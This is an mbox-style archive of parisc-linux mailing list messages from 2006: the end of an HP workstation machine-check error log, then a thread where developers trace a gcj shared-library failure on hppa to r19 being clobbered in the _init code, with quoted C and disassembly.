SADD LOG                     = 0x2b0a10000fc212c1
Read Short LOG               = 0xc18040fffee003fd
ERROR_STATUS                 = 0x0000000000000010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00002a1c
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffffffffffff

HPMC PIM Analysis Information:
Timestamp =
  Sun Mar  12 13:12:54 GMT 2006    (20:06:03:12:13:12:54)
'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data Miss Timeout occurred while CPU 0 was
requesting information.


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.

Memory Error Log Information:
Timestamp =
  Sun Mar  12 13:12:54 GMT 2006    (20:06:03:12:13:12:54)

'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged

I/O Module Error Log Information:
Timestamp =
  Sun Mar  12 13:12:54 GMT 2006    (20:06:03:12:13:12:54)

'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Sun, 12 Mar 2006 22:12:47 +0800
Lines: 32
Approved: news@gmane.org
Message-ID: <44142C5F.3040509@tausq.org>
References: <200603120210.k2C2AvIw012101@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624015 18493 80.91.229.3 (22 Nov 2014 02:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:15 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Mar 2006 14:12:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 12 Mar 2006 15:12:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BB387D67D;
	Sun, 12 Mar 2006 07:12:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13978-07; Sun, 12 Mar 2006 07:12:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E7307D67E;
	Sun, 12 Mar 2006 07:12:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D35667D674
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 07:12:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13935-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 07:12:50 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 0A5237D659
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 07:12:50 -0700 (MST)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1FIRJI-0001my-J6; Sun, 12 Mar 2006 22:12:40 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20051002)
X-Accept-Language: en-us, en
In-Reply-To: <200603120210.k2C2AvIw012101@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PUlmZGQneSEkPb6WZHQhaXN1IGRvb4DZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23449

> r22 should be pointing to a function descriptor and have the plabel
> bit set.  It's a relative rare situation when an indirect call can
> be made directly (no shared libraries).

I know, but that's not what's happening....

__do_global_ctors_aux() looks like this:

static void __attribute__((used))
__do_global_ctors_aux (void)
{
   func_ptr *p;
   for (p = __CTOR_END__ - 1; *p != (func_ptr) -1; p--)
     (*p) ();
}

what i'm seeing is that we are calling the copy of this function in 
liba1.so, and loading __CTOR_END__ via the GOT, but we are using an r19 
value that is pointing inside libgcj.so, so we end up loading some wrong 
value for __CTOR_END__

I don't know how/why this is happening though. how does this bit work? 
each .so has its own copy of __do_global_ctors_aux(); how does this get 
called and where does it setup r19 for each .so before this gets called?

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Sun, 12 Mar 2006 10:10:53 -0500 (EST)
Lines: 63
Approved: news@gmane.org
Message-ID: <200603121510.k2CFArcx015381@hiauly1.hia.nrc.ca>
References: <44142C5F.3040509@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624015 18498 80.91.229.3 (22 Nov 2014 02:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Mar 2006 15:11:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 12 Mar 2006 16:11:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E60297D64B;
	Sun, 12 Mar 2006 08:10:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14860-04; Sun, 12 Mar 2006 08:10:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6E297D64C;
	Sun, 12 Mar 2006 08:10:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34FF97D645
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 08:10:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14860-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 08:10:55 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 79C127D641
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 08:10:55 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k2CFAril015382; Sun, 12 Mar 2006 10:10:54 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2CFArcx015381;
	Sun, 12 Mar 2006 10:10:53 -0500 (EST)
In-Reply-To: <44142C5F.3040509@tausq.org> from "Randolph Chung" at Mar 12,
	2006 10:12:47 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: X19mZIxfeSEkOL6WZHQhaXN1IGRvbwCg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23450

> static void __attribute__((used))
> __do_global_ctors_aux (void)
> {
>    func_ptr *p;
>    for (p = __CTOR_END__ - 1; *p != (func_ptr) -1; p--)
>      (*p) ();
> }
> 
> what i'm seeing is that we are calling the copy of this function in 
> liba1.so, and loading __CTOR_END__ via the GOT, but we are using an r19 
> value that is pointing inside libgcj.so, so we end up loading some wrong 
> value for __CTOR_END__
> 
> I don't know how/why this is happening though. how does this bit work? 
> each .so has its own copy of __do_global_ctors_aux(); how does this get 
> called and where does it setup r19 for each .so before this gets called?

The dynamic loader calls _init in the .init section when it loads
a shared library.  It's also supposed to process the .init_array
section but that's not being used.

Disassembly of section .init:

00000824 <_init-0x10>:
 824:   2a 7f ff ff     addil L%-800,r19,r1
 828:   48 35 0f b8     ldw 7dc(r1),r21
 82c:   ea a0 c0 00     bv r0(r21)
 830:   48 33 0f c0     ldw 7e0(r1),r19

00000834 <_init>:
 834:   6b c2 3f d9     stw rp,-14(sp)
 838:   6f c4 00 80     stw,ma r4,40(sp)
 83c:   6b d3 3f c1     stw r19,-20(sp)
 840:   e8 5f 1f bd     b,l 824 <_init-0x10>,rp
 844:   08 13 02 44     copy r19,r4
 848:   08 04 02 53     copy r4,r19
 84c:   e8 40 01 f0     b,l 94c <frame_dummy>,rp
 850:   08 00 02 40     nop
 854:   e8 40 05 c0     b,l b3c <__do_global_ctors_aux>,rp
 858:   08 00 02 40     nop
 85c:   4b c2 3f 59     ldw -54(sp),rp
 860:   08 04 02 53     copy r4,r19
 864:   e8 40 c0 00     bv r0(rp)

00000868 <_end_init>:
 868:   4f c4 3f 81     ldw,mb -40(sp),r4

_init comes from the crt files in glibc.  The code at 824 is an
import stub which appears to be provided by ld.  So, if r19 is wrong,
it would seem the relocations in the import stub used to load the
new r19 value must be wrong.  I'm not sure how _init manages to call
the stub.  That's a bit unusual.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Sun, 12 Mar 2006 10:27:38 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200603121527.k2CFRcig015476@hiauly1.hia.nrc.ca>
References: <200603121510.k2CFArcx015381@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624016 18502 80.91.229.3 (22 Nov 2014 02:40:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Mar 2006 15:27:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 12 Mar 2006 16:27:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF3187D6C0;
	Sun, 12 Mar 2006 08:27:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15136-08; Sun, 12 Mar 2006 08:27:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5D947D6B3;
	Sun, 12 Mar 2006 08:27:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 589637D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 08:27:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15136-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 08:27:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9F6A27D660
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 08:27:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k2CFRcil015477; Sun, 12 Mar 2006 10:27:39 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2CFRcig015476;
	Sun, 12 Mar 2006 10:27:38 -0500 (EST)
In-Reply-To: <200603121510.k2CFArcx015381@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Mar 12, 2006 10:10:53 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r1hmZMULeSEkUr6WZHQhaXN1IGRvb0AR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23451

>  84c:   e8 40 01 f0     b,l 94c <frame_dummy>,rp
>  850:   08 00 02 40     nop

I just noticed that r19 is not restored after the call to frame_dummy.
It's clobbering r19.

>  854:   e8 40 05 c0     b,l b3c <__do_global_ctors_aux>,rp
>  858:   08 00 02 40     nop
>  85c:   4b c2 3f 59     ldw -54(sp),rp
>  860:   08 04 02 53     copy r4,r19
>  864:   e8 40 c0 00     bv r0(rp)
> 
> 00000868 <_end_init>:
>  868:   4f c4 3f 81     ldw,mb -40(sp),r4
> 
> _init comes from the crt files in glibc.  The code at 824 is an
> import stub which appears to be provided by ld.  So, if r19 is wrong,
> it would seem the relocations in the import stub used to load the
> new r19 value must be wrong.  I'm not sure how _init manages to call
> the stub.  That's a bit unusual.

Doh, it's actually just a call to __gmon_start__ ().

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Sun, 12 Mar 2006 10:56:22 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200603121556.k2CFuMBG015820@hiauly1.hia.nrc.ca>
References: <200603121527.k2CFRcig015476@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624016 18503 80.91.229.3 (22 Nov 2014 02:40:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Mar 2006 15:56:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 12 Mar 2006 16:56:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAA097D6BE;
	Sun, 12 Mar 2006 08:56:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15344-05; Sun, 12 Mar 2006 08:56:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 314F87D6C1;
	Sun, 12 Mar 2006 08:56:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38C017D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 08:56:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15235-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 08:56:25 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7FBD97D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 08:56:25 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k2CFuMil015821; Sun, 12 Mar 2006 10:56:23 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2CFuMBG015820;
	Sun, 12 Mar 2006 10:56:22 -0500 (EST)
In-Reply-To: <200603121527.k2CFRcig015476@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Mar 12, 2006 10:27:38 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5iFmZIdseSEkcL6WZHQhaXN1IGRvb4Ap
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23452

> >  84c:   e8 40 01 f0     b,l 94c <frame_dummy>,rp
> >  850:   08 00 02 40     nop
> 
> I just noticed that r19 is not restored after the call to frame_dummy.
> It's clobbering r19.

You know, this function is a real hack.  Part of it comes from
crti.o, part from GCC's crtstuff.c and part from crtn.o.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Sun, 12 Mar 2006 15:15:09 -0500 (EST)
Lines: 66
Approved: news@gmane.org
Message-ID: <200603122015.k2CKF93h017275@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624016 18508 80.91.229.3 (22 Nov 2014 02:40:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Mar 2006 20:15:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 12 Mar 2006 21:15:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 91E8C7D6C0;
	Sun, 12 Mar 2006 13:15:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16586-10; Sun, 12 Mar 2006 13:15:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B69D7D6A9;
	Sun, 12 Mar 2006 13:15:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00BBA7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 13:15:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16586-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 13:15:13 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3D2EA7D684
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 13:15:13 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k2CKFAil017276; Sun, 12 Mar 2006 15:15:10 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2CKF93h017275;
	Sun, 12 Mar 2006 15:15:09 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Mar 12, 2006 10:10:53 am
